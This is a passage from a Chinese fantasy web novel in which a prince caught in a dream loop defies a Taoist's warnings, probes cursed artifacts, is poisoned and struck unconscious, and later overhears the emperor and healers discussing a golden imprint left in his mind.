将调查地点移到远离权力中心的京郊秘所,既能最大限度降低意外波及皇宫的风险,也便于控制消息和人员进出。
周昕阳与周灵薇对视一眼,均微微点头,表示可以接受。
“第二,人员精简,立誓为凭。参与核心研究者,除王爷、二公主与老道三人外,至多再增加两人。人选需老道与二公主共同认可,必是心志坚韧、精于相关领域、且身家性命皆系于朝廷的绝对核心。”
“所有参与者,入所之前,必须服下秘药,若有半分泄密或背叛之举,必遭反噬,此外,所有饮食、用度、进出,皆需登记核查,杜绝任何夹带与外联。”
嘶!
周昕阳听闻此话,心头一惊。
这个老道,手段倒是颇为狠辣。
这条件极为苛刻,近乎于将参与者半囚禁,如此一来,确实能保证证物,万无一失。
周昕阳点头:“可。人选方面,孤建议可考虑工部虞衡清吏司那位致仕的老郎中,他精于前朝机关营造与金石之学,或许对星纹盘、金属板等物有所见解。另一人……或可从宸察院幽影中挑选一位精通西域语言、风物且绝对忠诚之人,协助解读地图与仪式记述。”
玄微**思索片刻:“工部那位陈老,老道有所耳闻,人品学识尚可,可列入备选。宸察院人选,需掌院学士萧大人亲自把关,并需陛下首肯。此事容后再议。”
“嗯,最后一点呢?”周昕阳问道。
“第三,目标明确,界限清晰。调查之核心,在于自保与破局。”
“首要任务是弄清单一物件的原理、危害及可能的防范、破解之法,尤其是钉魂偶的诅咒机制、星纹盘的运作规律、血髓玉瓶等物的用途与反制。”
“其次,是尝试破译地图与仪式记述,以确定敌人可能的巢穴方位与具体图谋。绝不可试图主动激发、模拟或深入探究仪式本身,绝不可试图以任何方式与那个‘祂’产生联系或感应,绝不可在未明确安全性的前提下,尝试组合、拼接或激活多件物品。一切行动,以理解威胁、寻求防御为宗旨,而非探索奥秘、追求力量。”
玄微**一字一顿,说得极其严肃:“尤其是那无缝方匣,在找到绝对安全的开启方法,或确定其内所藏对当前自保有决定性意义之前,严禁任何尝试开启的举动。”
“此三点,乃铁律,若有违反,老道有权立即终止一切研究,并将所有物品强行封存!”
这第三条,为调查
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划下了明确的红线,强调了防御性和被动性,严禁任何主动涉险或探索禁忌的行为。
这虽然限制了调查的深度,但也最大程度地避免了玩火自·焚。
周昕阳明白,这是玄微**能接受的底线。他本身的目的也主要是自保和弄清敌人手段,对深入禁忌并无太大兴趣——至少现阶段如此。
他郑重点头:“**放心,此三点,孤与二姐定当严守。调查只为求生破局,不为猎奇涉险。”
周灵薇也肃然道:“监正所虑周全,灵薇无异议。一切当以稳妥为重。”
见两人态度明确,玄微**神色稍缓,但依旧凝重:“既如此,老道这便去玄机观准备布置,并草拟奏章,面呈陛下。”
“二公主,烦请你与王爷商议,拟定详细的研究步骤与人员名单。至于这些物件……”他看向阵图中心,“王爷,在一切准备妥当前,您也请勿再接近此处,更勿要再接触这些邪物。”
“好。”周昕阳满口答应。
一旁的周灵薇也点头答应:“好。”
闻言,玄微**对两人行了一礼,转身离去。
周昕阳表面上答应,但心里却有着其他打算。
他现在可是在梦境之中,除非打破循环,不然一切都只不过是随意重置的幻想,此刻不全力尝试,难道在现实中冒险吗?
玄微**的身影消失在殿门外,脚步声渐行渐远。偏殿内,只剩下周灵薇、周昕阳,以及门外的守卫。
周灵薇松了口气,转向周昕阳,正想开口商议接下来的步骤,却见周昕阳目光灼灼地盯着阵图中心那些物件,不仅没有离开的意思,反而向前走近了几步,几乎要踏进那以金粉和朱砂绘制的复杂阵图边缘。
“老九?”周灵薇心头一跳,升起一股不好的预感,连忙低声喝止,“你要做什么?监正刚刚交代,让我们不要再接近此处,尤其不要触碰那些东西!快回来!”
第134章 开始尝试
周昕阳却恍若未闻,他站在阵图边缘,目光紧紧锁定了那几样物品,尤其是那枚钉魂偶和那张摊开的兽皮地图。
在现实中,他绝不敢如此冒险,但这里是梦境!
是他可以大胆尝试、探索一切可能而无需承担现实后果的试验场!
玄微**的警告固然有理,但那是在现实中。
在这里,他必须抓住机会,获取更多、更直接的信息。
“二姐,”周昕阳没有回头,声音平静得近乎异常,“玄微**说得对,但又不对。”
“什么?”周灵薇一愣,不明所以。
“他说我身涉因果,已被盯上,这或许没错。”周昕阳缓缓道,目光依旧锁定着那些邪物,“但他也让我们暂时远离,等待陛下圣裁,等待玄机观布置妥当,等待一切按部就班……可那些藏在暗处的人,会等我们准备好吗?”
他顿了顿,声音低沉下去,带着一丝只有他自己才懂的意味:“有些风险,是躲不掉的。有些答案,是等不来的。”
“只能主动去寻……”
说到这里,周昕阳没有犹豫,踏入其中,朝着那些邪物抓去。
“老九!你疯了!”周灵薇看到他抬手的动作,瞬间明白了他的意图,脸色骤变,一个箭步上前就想拉住他,“不可!监正说了,频繁接触恐生不测!快住手!”
然而,周昕阳的动作更快。
第一次接触,他没有用手直接去触碰钉魂偶或血髓玉瓶这种东西。
他的目标,是那张摊开的兽皮地图,以及旁边那几张记载着仪式的泛黄纸页。
要打破梦境循环,首要条件,就是找到这一轮的“钥匙”,周昕阳也不敢确定,钥匙是什么?
可能是眼前的钉魂偶,也可能是星纹盘、深色金属板,甚至可能是无缝匣、血髓玉瓶,当然也可能是这些兽皮地图和泛黄纸页……
周昕阳最担忧的,就是万一,打破了梦境循环,那么如果这些邪物有什么毒性,或是不知名诅咒,那么就将从梦境来到现实,影响到他的生命。
“为了防止这种情况出现,只能一点点尝试,刚开始,没必要尝试最关键的部分,循序渐进,反而更加安全。”
周昕阳的指尖掠过淡银色粉末勾勒的隔绝圈,指尖传来一丝微凉的触感,像是触碰到了一层无形的薄膜。
他没有停顿,径直朝着摊开的兽皮地图探去。
这张地图的材质极为奇特,并非寻常兽皮那般粗糙,反而带着一种类似丝绸的顺滑质感,边缘经过特殊处理,虽显陈旧却无丝毫破损。
就在他的指尖即将触碰到地图表面的瞬间,周灵薇的手也堪堪抓到了他的衣袖,急切的声音带着一丝颤抖:“老九!你根本不知道这些东西有多诡异!玄微**刚说过它们沾之不祥,你怎能如此鲁莽!”
周昕阳没有回头,只是反手轻轻挣开了周灵薇的拉扯,语气坚定却带着一丝安抚:“二姐,放心,我有分寸。我没有直接碰那些至邪之物,只是看看这地图和纸页,不会有事的。”
话音未落,他的指尖已然落在了兽皮地图之上。没有预想中的阴冷反噬,也没有诡异的能量波动,只有兽皮本身的微凉触感传来。
周昕阳心中微松,随即集中精神,仔细感受着指尖传来的每一丝信息,同时目光死死盯着地图上的纹路。
这张地图的诡异之处,在近距离观察下愈发明显。
那些扭曲如藤蔓又似星轨的符文,并非杂乱无章地堆砌,而是沿着某种隐秘的轨迹交织在一起,仔细看去,竟隐隐与地面阵图外层的符文有所呼应。
地图中央标注着一个模糊的圆形印记,周围分布着数十个大小不一的光点,光点之间用细密的虚线连接,虚线经过的地方,标注着一些早已失传的古地名,周昕阳连一个都未曾听闻。
“这些符文……和阵图上的有些像,但又不完全一样。”周昕阳喃喃自语,指尖沿着其中一道符
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文缓缓划过。
就在这时,他忽然感觉到指尖传来一阵微弱的灼热感,并非刺痛,更像是某种能量的共鸣。
紧接着,地图上那道被他触碰的符文,竟隐隐泛起一丝极淡的青色微光,转瞬即逝,快得仿佛只是错觉。
“你看到了吗?二姐!”周昕阳猛地转头看向周灵薇,眼中带着一丝兴奋与凝重。
周灵薇刚才一直紧盯着他的动作,自然也看到了那一闪而逝的微光,脸色愈发复杂:“我看到了……这东西果然邪门。老九,既然已经确认了它有异常,我们还是先退出去吧,等后续布置妥当再细查也不迟。”她虽主张主动追查,但亲眼见到这诡异的景象,心中的担忧还是压过了好奇。
周昕阳却摇了摇头,目光重新落回地图上:“不行,机会难得。这只是初步的反应,我还没弄清这微光代表什么,也没找到打破梦境的‘钥匙’痕迹。”
他知道,梦境循环的重置往往毫无征兆,一旦错过这次机会,下次再进入这个梦境,未必能有如此顺利的试探机会。
“钥匙?”
“什么钥匙?”周灵薇露出错愕的表情。
“打开其中秘密的钥匙。”周昕阳随口回应。
下一刻,他不再犹豫,指尖继续在地图上探索,避开那些看起来更为复杂诡异的符文,专挑相对简单的纹路触碰。每一次触碰,都会有微弱的能量波动传来,有时是灼热,有时是冰凉,偶尔还会引发符文的微光闪烁,但始终没有出现足以威胁到他的反噬,也没有任何线索浮现。
探索完兽皮地图,周昕阳的目光转向了旁边的几张泛黄纸页。
这些纸页质地脆弱,仿佛轻轻一碰就会碎裂,上面用某种暗红色的颜料写着密密麻麻的古文字,字体扭曲怪异,与周昕阳所知的任何一种文字都不同。
他没有直接用手触碰纸页,而是从怀中取出一方干净的丝帕,小心翼翼地隔着丝帕将纸页轻轻拿起……
第135章 有毒?
就在丝帕接触到纸页的瞬间,纸页上的暗红色文字忽然像是活了过来一般,微微蠕动了一下,紧接着,一股淡淡的腥甜气味弥漫开来,与之前殿内的混合气味不同,这股气味带着一种莫名的诱惑力,仿佛在牵引着周昕阳的精神。
“不好!”
“有毒!”
周昕阳心中警铃大作,立刻屏住呼吸,强忍着精神上的牵引,将纸页重新放回原处。他能感觉到,自己的精神力似乎被这股气味轻微侵蚀了一下,脑海中隐约浮现出一些模糊的画面,像是扭曲的黑影在舞动。
“老九,你怎么了?”周灵薇看到他脸色发白,连忙上前扶住他,语气急切,“我就说这些东西碰不得!你看你,都出现异样了!”
“你脸色都泛紫了?”
“走,我们立刻去太医院。”
周昕阳深吸一口气,压下脑海中的不适感,摇了摇头:“二姐,我没事,只是这纸页上的文字有问题,能影响人的精神……”他能清晰地感觉到,这股精神侵蚀的力量并不强,只要及时脱离接触,就能迅速恢复,显然这纸页的危险程度远低于钉魂偶、血髓玉瓶那些至邪之物。
“走,听我的,我们去太医院……”周灵薇拽着周昕阳的衣袖,语气不容置疑,眉宇间尽是焦灼。
周昕阳的脸色很是不对,方才只是苍白,此刻却隐隐透出一层不正常的青紫,尤其在灯下看得分明,绝非寻常劳累或受惊的模样。
她虽不信那些玄之又玄的冥冥感应,但眼前这实实在在的**迹象,却做不得假!
这纸页竟果真带有剧毒!
周昕阳被她拽得一个趔趄,头脑中的晕眩感和那腥甜气味带来的诡异牵引感并未完全消退,反而随着血液流动,似乎有加重的趋势,四肢开始有些发软。
他知道二姐说得对,此刻最稳妥的做法确实是立刻去太医院,由御医诊治。
但……这里是梦境啊!
他冒险接触这些邪物,不就是为了在代价最小的环境下获取信息吗?
若现在去了太医院,势必惊动更多人,甚至可能惊动父皇,那这次梦境之行便提前结束了,这是他万万不能接受的。
更重要的是,周昕阳隐约觉得,这纸页上的毒,与那股精神牵引力,或许本身就是一种线索,一种指向下毒者或背后势力手段的线索。
毒是从何而来?
是什么毒?
由什么毒虫、毒草组成的?
哪里才有这种**?
这都是线索。
可以通过这些东西,来锁定目标……
“二姐,且慢!”周昕阳反手抓住周灵薇的手腕,力道因虚弱而有些绵软,但眼神却异常坚定,“不能去太医院!”
“你疯了?!”周灵薇又急又怒,“你看看你的脸色!这是**之兆!耽搁不得!”
“我知道是**!”周昕阳急促地喘息了几下,感觉胸口有些发闷,他强撑着道,“但此毒诡异,能引动心神,绝非寻常草木金石之毒。太医院的御医,精于常见病症与宫廷用药,对此等诡谲之物,未必在行,贸然前去,若解毒不对症,或引发其他变化,反为不美!”
他见周灵薇神色犹疑,又压低声音道:“况且,二姐你想,我刚与监正争论完处置之法,转眼便在查验此物时**,若闹到太医院,传扬出去,监正会如何想?父皇会如何想?”
“他们本就担忧此物不祥,恐生变故,我这一**,岂不是坐实了‘接触即招祸’的说法?”
“届时,父皇为保万全,必定会采纳监正之言,将这些物件立即封存,甚至……对我也会严加看管,再难有接触、调查之机!”
这番话,从现实利害角度切入,顿时让周灵薇冷静了几分。她看着周昕阳越来越差的脸色,心如刀绞,但理智告诉她,老九说得不无道理。
宫中人多眼杂,此事一旦闹开,确实会引发一系列不可控的后果,很可能让刚刚争取到的一点调查空间彻底丧失。
“可是你的毒……”周灵薇的声音带着颤抖。
“此毒发作似乎不快,且主要是头晕、胸闷、乏力之感,暂时还能支撑。”周昕阳感受了一下身体状况,快速分析道,“二姐,**是件好事,可以从毒中寻找线索,不过暂且不急,我先继续尝试下再说……”
“二姐,**是件好事,可以从毒中寻找线索,不过暂且不急,我先继续尝试下再说……”周昕阳强撑着说道,目光再次投向那些在玉盘和木托上静静陈列的邪物,眼中闪过一丝决绝。
既然已经**,那更要趁此机会,在毒性彻底发作或被清除前,尽可能多地获取信息。
反正梦境中死亡不算什么。
一切都会重置。
问题不大。
这个代价,他承受得起!
“你还想试什么?!”周灵薇又急又气,抓着他胳膊的手都用力了几分,“你不要命了?!”
“要命,才更要弄清楚!”周昕阳声音低沉,带着不容置疑的坚持。
他挣脱开周灵薇的手,脚步虽然虚浮,却再次走向那几样物品。
这一次,周昕阳没有再去碰那诡异的纸页,而是将目光投向了那枚静静躺在特制阴沉木托盘上的、通体漆黑、触手冰凉的无缝方匣。
这东西,是唯一完全密闭、不知其内所藏何物的。其材质非金非石,表面光滑无比,毫无拼接痕迹,连钦天监的玄微**都无法确定如何开启。
或许,这上面不会像纸页那样涂抹剧毒,但一定有其特殊之处。
“老九!你要做什么?别碰那匣子!监正特别叮嘱过,在找到安全开启方法前,严禁任何尝试!”周灵薇见他走向无缝方匣,心都提到了嗓子眼。
“我不碰,只是……看看。”周昕阳在距离方匣一步之遥处停下,再次闭上了眼睛,试图像刚才感应地图和纸页时那样,集中精神,去感
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应这方匣……
周昕阳在距离方匣一步之遥处停下,再次闭上了眼睛,试图像刚才感应地图和纸页时那样,集中精神,去感应这方匣内部是否藏有异样的能量波动。
随着心神高度凝聚,体内因**而泛起的晕眩感似乎都被暂时压下了几分。他能清晰地感觉到,空气中那些混杂着檀香、药草与矿物灼烧的气息,在靠近无缝方匣的区域,竟隐隐变得稀薄了些,仿佛这方匣本身就带有一种无形的吸力,能将周遭的气息轻微牵引。
起初,指尖并未传来任何特殊触感,只有空气中的微凉。
但周昕阳没有放弃,他将精神力尽数集中于眉心,脑海中一遍遍勾勒着方匣的轮廓,试图穿透那层光滑如镜的漆黑外壳,触碰其内部的奥秘。
约莫一炷香的功夫,就在他因精神高度集中而额头渗出细密冷汗,胸口的闷痛感也愈发强烈时,指尖终于传来了一丝极其微弱的震颤。
这震颤并非来自方匣的物理晃动,而是一种源自内里的、频率极低的能量搏动,像是沉睡巨兽的心跳,缓慢而沉稳。
“有反应……”周昕阳心中一凛,下意识地将精神力再往前推了几分。
刹那间,那漆黑的无缝方匣表面,竟浮现出一圈极其淡的金色纹路!
这纹路与兽皮地图上的符文、地面阵图的符文都不相同,更为规整,像是由无数细小的篆字拼接而成,沿着方匣的边缘缓缓流转,转瞬便又隐没不见,快得让一旁紧盯着的周灵薇都以为是自己的错觉。
“你看到了吗?二姐!”周昕阳猛地睁开眼,眼中闪过一丝狂喜,胸口的闷痛似乎都减轻了不少,“这方匣有问题!它上面有会动的金色纹路!”
周灵薇脸色发白,轻轻点了点头,声音带着一丝不易察觉的颤抖:“我看到了……老九,这东西比我们想象的还要诡异。你的脸色更差了,不能再撑了!”
她话音刚落,周昕阳便感觉到一股剧烈的眩晕感猛地袭来,眼前阵阵发黑,四肢的无力感也瞬间加重,脚步一个踉跄,险些栽倒在地。周灵薇眼疾手快,连忙上前扶住他,入手处竟是一片滚烫。
“你发烧了!”周灵薇的心彻底沉了下去,语气中带着一丝哀求,“老九,我们别查了,先想办法退烧解毒!再这样下去,你会撑不住的!”
周昕阳靠在周灵薇的搀扶下,勉强稳住身形,他咬了咬牙,强撑着不让自己昏过去。
他知道,自己的身体已经在发出警告,**的症状正在快速加剧,但他不能就这么放弃。
这是梦境,是他能毫无顾忌探索这些邪物的机会,他必须物尽其用。
将自身的价值,尽数榨干。
唯有如此,才有机会解开谜题,打破循环,知晓真正的秘密。
“我没事……”周昕阳艰难地开口,声音沙哑,“再试最后一次……我想试试能不能感应到方匣里藏着什么……”
第136章 疯狂尝试
“你疯了!”周灵薇又急又怒,死死地按住他想再次抬起的手,“都什么时候了还想着这些!你要是出了什么事,我怎么向父皇交代?!”
周昕阳转头看向周灵薇,眼神中带着一丝决绝:“二姐,我必须试试。你想想,这无缝方匣是唯一完全密闭的邪物,玄微**都说它材质工艺非人间应有,里面很可能藏着破解这一切的关键。若是能趁此时机摸清它的底细,后续我们调查起来也能少走很多弯路,甚至能提前做好防范!”
他顿了顿,喘了口气,语气放缓了些:“二姐,此事凶险,我自然知晓,但比起个人安危,揪出幕后黑手、扫清江山隐患更为重要。这些邪物藏着对方的核心秘密,今日若不趁此机会摸清些许底细,日后他们再行谋划,我们依旧只能被动应对。错过今日,再想如此近距离、无干扰地探查,恐怕再无可能。”
周灵薇愣住了,看着弟弟眼中那不容动摇的坚定,心中的坚持渐渐松动了几分。她知道老九向来心思缜密,既然他敢如此坚持,定然是权衡过利弊,知晓此事的紧迫性。只是那股眼睁睁看着弟弟身陷险境却无法阻拦的无力感,让她心如刀绞。
“好……”周灵薇最终还是松了手,声音带着一丝哽咽,“就最后一次!若是再出现任何异样,我就算绑也要把你绑出去!”
“多谢二姐。”周昕阳勉强笑了笑,再次将目光投向无缝方匣。这一次,他没有再靠近,而是站在原地,深吸一口气,缓缓抬起手,再次朝着无缝方匣探去,想要借着指尖的触碰,再探探这方匣的诡异之处。
就在他的指尖即将触碰到方匣表面的瞬间,那方匣突然剧烈地颤动了一下!
紧接着,方匣表面再次浮现出金色的纹路,这一次的纹路比之前更加清晰,流转的速度也更快,发出了一阵极其细微的“嗡嗡”声。
更诡异的是,方匣周围的淡银色粉末,竟开始以肉眼可见的速度被吸附向方匣,在方匣表面形成了一层薄薄的银色薄膜,随即又被金色纹路瞬间消融。
地面阵图上的青铜油灯,灯焰也开始剧烈晃动起来,原本稳定的清冽松香气味,竟混杂进了一股淡淡的、带着腐朽气息的阴冷味道。
“不好!”周灵薇脸色大变,连忙想要拉着周昕阳后退。
但已经晚了——
周昕阳只觉得一股强大的吸力从方匣中传来,顺着指尖缠上了他的手臂,牢牢缚住,无法挣脱,脑海中瞬间涌入了无数混乱的画面:扭曲的黑影在黑暗中舞动,诡异的符文在虚空中闪烁,还有一阵阵低沉的、不属于人间的嘶吼声,仿佛来自无尽的深渊。
“啊——”周昕阳发出一声痛苦的闷哼,双手抱头,身体剧烈地颤抖起来。胸口的闷痛感达到了极致,仿佛有一块巨石压在上面,让他无法呼吸
。眼前的景象开始急剧扭曲、模糊,周灵薇焦急的呼喊声也变得越来越遥远,像是从另一个世界传来。
他能感觉到,自己的意识正在快速消散,**的症状和方匣带来的精神冲击,正在一点点吞噬他的理智。但他的心中,却始终有一个念头在支撑着:不能昏过去!一定要记住这些画面!这些或许就是破解秘密的关键!
他拼尽最后一丝力气,将脑海中那些混乱的画面牢牢记住,尤其是其中一个反复出现的、由无数金色符文组成的复杂印记。
就在他记住那个印记的瞬间,方匣的吸力突然消失了,金色的纹路也彻底隐没,一切又恢复了原样,仿佛刚才的异动从未发生过。
而周昕阳,再也支撑不住,眼前一黑,彻底失去了意识,身体软软地倒了下去。
“老九!老九!”周灵薇惊慌失措地抱住他,看着他毫无血色、依旧泛着青紫的脸庞,泪水瞬间涌了出来,“你醒醒!你别吓我!”
她颤抖着伸出手,探向周昕阳的鼻息,感觉到还有微弱的气息传来,心中稍稍松了口气。
但看着周围依旧散发着不祥气息的邪物,尤其是那枚看似平静却暗藏凶险的无缝方匣,周灵薇的心中充满了恐惧与无助。
她知道,自己不能在这里坐以待毙。
老九**昏迷,必须立刻想办法救治。
但她又不敢轻易离开,若是她走了,这些邪物无人看管,万一再发生什么异动,后果不堪设想。
就在周灵薇左右为难、心急如焚的时候,殿门外突然传来了一阵急促的脚步声,紧接着,玄微**的声音传了进来:“二公主,王爷,老道已安排好玄机观的事宜,特来告知……”
玄微**推门而入,看到殿内的景象,以及被周灵薇抱在怀中昏迷不醒的周昕阳,脸色骤变
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,快步走上前来:“王爷这是怎么了?!”
“监正,你快看看老九!他刚才探查那无缝方匣时,突然就昏迷了!还发着高烧!”周灵薇像是抓住了救命稻草一般,急切地说道。
玄微**蹲下身,伸出手指搭在周昕阳的脉搏上,片刻后,脸色变得愈发凝重:“脉象紊乱,气息微弱,体内有两股邪异之力相互纠缠,一股是纸页上的毒力,另一股……竟是来自那无缝方匣的阴寒之气!王爷这是同时遭了两种邪物的反噬!”
“那怎么办?你快救救他!”周灵薇急切地问道。
玄微**皱了皱眉,沉声道:“此处地气已被扰动,不宜久留。老道随身带了些压制邪异的丹药,先给王爷服下,暂时稳住伤势。然后立刻安排人手,将王爷送往玄机观后山禁地,那里地气清正,有专门**邪异、调理伤势的法阵,或许能保住王爷的性命。”
他顿了顿,看向周灵薇,语气严肃:“二公主,此次之事,已是前车之鉴。这些邪物的凶险,远超我们的预料。后续调查,切不可再如此鲁莽行事!”
周灵薇点了点头,泪水依旧在眼眶中打转:“我知道了……只要能救回老九,后续一切,都听监正安排。”
玄微**不再多言,从怀中取出一个小巧的玉瓶,倒出一粒通体洁白、散发着淡淡清香的丹药,小心翼翼地喂进周昕阳的口中。
丹药入口即化,化作一股清凉的气流,缓缓流入周昕阳的体内。
片刻后,周昕阳脸上的青紫之色稍稍褪去了一些,呼吸也变得平稳了些许。
“先稳住了。”玄微**松了口气,站起身,“老道这就去安排人手,立刻出发前往玄机观!”
周灵薇抱着昏迷的周昕阳,眼神中充满了担忧。她看着殿内那些依旧静静陈列的邪物,心中暗暗发誓:无论付出什么代价,都要查清这些邪物的秘密,揪出幕后黑手,为老九报仇,也为大虞江山扫清隐患。
而此刻,陷入昏迷的周昕阳,意识并未彻底消散。他仿佛置身于一片无边无际的黑暗之中,脑海中不断回放着那些从方匣中看到的混乱画面,尤其是那个由金色符文组成的复杂印记,越来越清晰。他隐隐感觉到,这个印记,或许就是解开这些邪物秘密的“钥匙”,也可能是揪出幕后黑手的关键……
第137章 苏醒
黑暗如退潮般缓缓消散,意识从混沌的深渊中挣扎着上浮,感官却像是被灌了铅,迟滞而沉重地逐一归位。
最先撕开混沌的是痛感。
后脑的钝痛如同有无数根细针在扎,每一次呼吸都牵扯着神经。
胸口那股冰冷的压抑感更甚,仿佛一块浸了冰水的铅块压在肺腑之间,堵得他几乎喘不过气。
四肢百骸像是被沉重的车轮反复碾过,酸软得提不起半分力气,连指尖的微动都带着脱力的颤栗。
喉咙更是干得冒火,像是吞了一把烧红的砂砾,每一次细微的吞咽,都能感觉到喉咙黏膜被撕裂的刺痛。
周昕阳费了九牛二虎之力,才勉强掀开沉重的眼皮。起初视野一片模糊,只有朦胧的光影在晃动,耳边充斥着“嗡嗡”的杂音,像是有无数只飞虫在耳边盘旋,将外界的声响都搅得支离破碎,听不真切。
他死死盯着一处光影,强撑着不让眼皮合拢。
过了约莫一炷香的功夫,视野才渐渐清晰。
映入眼帘的,是一方素雅的青色帐顶,布料粗糙却干净,绣着简单的云纹。
这既不是东宫偏殿那压抑得令人窒息的深色帷幕,也不是自己泽川王府寝殿里绣着蟠龙纹的云锦帐幔。
身下是硬邦邦的床板,铺着一层薄薄的麻布褥子,触感粗糙,与王府里柔软的锦被天差地别。
空气中弥漫着一股浓重的混合气味——艾草的辛香、檀香的沉郁,再加上多种不知名苦涩药草的味道,交织成一张沉闷的网,将他笼罩其中。
这气味与东宫偏殿那股矿物灼烧的诡异气息截然不同,却同样透着一股挥之不去的凝重与不祥。
这里是……玄机观?
周昕阳心中闪过这个念头,艰难地转动眼珠,将视线投向四周。
这是一间极其简陋的石室,四壁是青黑色的岩石,布满细小的裂纹,摸上去该是粗糙硌手。
石室里陈设极简,除了他躺着的硬板床,便只有墙角一尊造型古朴的铜制三足香炉,炉中青烟袅袅,正是那股药香的源头。
唯一的光源来自石室西侧一扇嵌着粗木栅的小窗,昏黄的天光像被揉碎的金箔,稀疏地洒在石地上,映出青烟缭绕的轨迹。
周昕阳动了动手指,想去摸怀中的银壳怀表——那是他判断梦境时间节点的关键。
可手臂却沉重得仿佛灌了铅,连抬起一寸都要耗费全身力气。
周昕阳只能勉强转动脖颈,用余光扫过自己的胸前:身上的衣物已经被换过,是一身灰扑扑的粗麻布短打,质地粗糙,磨得皮肤有些发痒。
原本藏在怀中的银壳怀表、装着星**的腰包、星屑铁,还有那枚装着秘药的锦囊……全都不见了踪影。
一丝慌乱瞬间攫住了他的心脏。
那些物件是他在梦境与现实中都赖以自保的依仗,尤其是银壳怀表,更是他锚定时间、判断梦境进程的核心。
但这份慌乱只持续了一瞬,便被他强行压了下去。这里大概率还是在梦境中,应该是二姐周灵薇或玄微**担心这些物件沾染邪祟,或是怕他乱动,暂时收了起来。
当务之急,是弄清自己的伤势,以及外面的局势。
周昕阳深吸一口气,忍着胸口的闷痛,集中起残存的所有心神,侧耳倾听石室门外的动静。
那层如同隔了厚重棉絮的杂音渐渐褪去,断断续续的人声变得清晰了些,正是从紧闭的石门后传来的。
“……陛下,泽川王脉象依旧紊乱不堪,时急如奔马,时缓若游丝,时沉如坠渊,时浮若飘萍。”
一个苍老而恭敬的声音响起,带着难以掩饰的困惑与忧虑,正是太医院的孙太医。
“体内那两股邪异之力,虽经玄微**的镇邪丹药与观中地脉阵法暂时压制,未再继续恶化,却如同附骨之疽,相互缠绕,盘踞不散。”
“尤其是那股自无缝方匣而来的阴寒之气,老臣以金针探脉,竟察觉它……它并非纯粹的外邪入侵,反倒像是与王爷自身的气血、经脉缠在了一处,隐隐有共生之态,根本无法分割清除
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!”
“共生?”昭明帝的声音响起,威严依旧,却透着一丝难以掩饰的疲惫与焦灼,指尖不自觉地摩挲着腰间的龙纹玉佩,“你的意思是,那邪物上的阴寒之气,已经缠上老九,甩不掉了?”
“回陛下,正是此意。”孙太医的声音带着几分艰涩。
“老臣行医四十余载,遍历奇难杂症,江湖上的诡异毒伤也见过不少,但如王爷这般情形,实属闻所未闻。”
“那纸页上的毒,虽诡谲歹毒,尚可究其根源——乃是混合了西域三四种罕见毒草,辅以赤阴矿粉炼制而成,专攻心神,侵蚀气血。”
“可那无缝方匣的阴寒之气,却……却仿佛有灵智一般,死死盘踞在王爷心脉之间,与王爷自身气息若即若离,药石难及,针砭无用。更棘手的是,这两股力量相互激荡,反而加剧了王爷脑袋的动荡……”
“脑袋动荡?”昭明帝的声音陡然拔高了几分,带着一丝不易察觉的慌乱,“所以他才会满口胡言,一会儿说什么‘金色印记’,一会儿喊‘符文’,还说看到了‘黑影舞动’?这难道不是**太深产生的幻觉?”
“陛下,依常理推断,确有此可能。”孙太医的声音愈发谨慎,额角渗出细密的冷汗。
“剧毒侵体,尤其是这类惑乱心神的奇毒,最易令人产生光怪陆离的幻象。王爷口中的‘印记’‘符文’,或许便是毒素刺激脑腑,催生出的虚妄之景。”
“然……”
“然什么?”周灵薇清冷的声音打断了他,带着掩饰不住的焦虑,“孙太医,老九都这样了,有话尽管直说,不必遮掩!”
“是。”孙太医应了一声,像是下定了极大的决心。
“然,老臣方才以金针渡穴之法,辅以凝神定魂的秘药,试图为王爷梳理紊乱的气血、安抚受创的心神,却在他大脑之上察觉到了异样。”
“除了毒素与阴寒之气造成的混乱,王爷的脑袋上,似乎还残留着一些极其微弱的……不属于他本身的气机轨迹。”
第138章 金色气机
“这些轨迹细碎驳杂,却隐隐形成了某种纹路雏形,与王爷昏迷时念叨的金色印记,竟有几分相似!”
石门外瞬间陷入死寂。
周昕阳躺在石室内,心脏猛地一沉。
当然不是幻觉!
什么**所导致的幻象?
周昕阳很清楚,那枚金色印记绝对不简单!
虽然此刻他身处梦境,但一切都是真实的。
这一点,经过这么多次的梦境经历,足以证实。
唯一的区别就是,梦境影响现实,需要打破循环。
只有打破循环,才能扭转一切,将虚幻、可重置的梦境,转变成为现实。
“只不过,那枚金色印记竟然以某种气机轨迹的形式……残留在了我的脑腑之中!”
周昕阳思绪转动,不断思考着这个问题。
“你是说……”昭明帝的声音带着难以置信的凝重,“老九脑子里的东西,不是幻觉,是真的有东西留下来了?”
“老臣不敢断言,但以金针探查的结果来看,确实有此迹象。”孙太医躬身行礼,语气沉重,“那些气机轨迹极其顽固,与王爷的脑腑气机缠绕在一起,老臣不敢贸然动针,生怕稍有不慎,便会损伤王爷的根本。”
“玄微**,”昭明帝的声音转向另一侧,带着急切的询问,“你常年与这类邪异之物打交道,对此情形,可有见解?”
玄微**苍老的声音缓缓响起,带着一股肃穆之气:“无量天尊。陛下,孙太医所言非虚。”
“老道方才以观气之法探查,也在王爷头顶百会穴附近,察觉到了一丝诡异的金色气机。”
“这股气机并非王爷本身所有,也不同于寻常邪祟之气,反而带着一种极其古老、极其规整的韵律,与那无缝方匣上的金色纹路,气息同源!”
“同源?”周灵薇的声音带着惊惶,“**的意思是,这东西是从无缝方匣上,转移到老九脑子里的?”
“正是。”玄微**沉声道,“那无缝方匣材质非凡,绝非凡俗之物。王爷近距离触碰,又强行探查其内部,多半是触动了方匣的某种防御机制。”
“那金色纹路既是方匣的防御屏障,也是其核心秘辛的载体。王爷触碰到的,恐怕是纹路碎裂后,逸散出的一缕气机碎片,恰好侵入了他的脑腑之中,形成了如今的印记轨迹。”
“这缕气机碎片看似微弱,却如同种子一般,扎根在王爷的脑腑气机之中,难以拔除。”
昭明帝的呼吸声变得沉重起来,显然是被这诡异的情形惊到了:“那这东西……对老九有什么危害?会不会影响他的神智?”
“短期之内,暂无性命之忧。”玄微**道,“老道已以地脉阵法暂时压制住了这缕气机的活性,再辅以孙太医的汤药,足以稳住局势。”
“但长期来看,隐患极大。”他话锋一转,语气愈发凝重,“这缕气机源自邪物,本身就带着诡异的侵蚀性。若是放任不管,它会慢慢吸收王爷的气血滋养自身,久而久之,不仅会损伤王爷的脑腑,甚至可能影响他的心智,让他变得疯癫错乱。”
“更可怕的是,这缕气机与无缝方匣同源,很可能会成为一种‘指引’。”
“指引?”昭明帝皱眉。
“不错。”玄微**道,“持有无缝方匣,或是操控这方匣背后势力的人,或许能通过这缕气机,感知到王爷的位置,甚至窥探他的状态。”
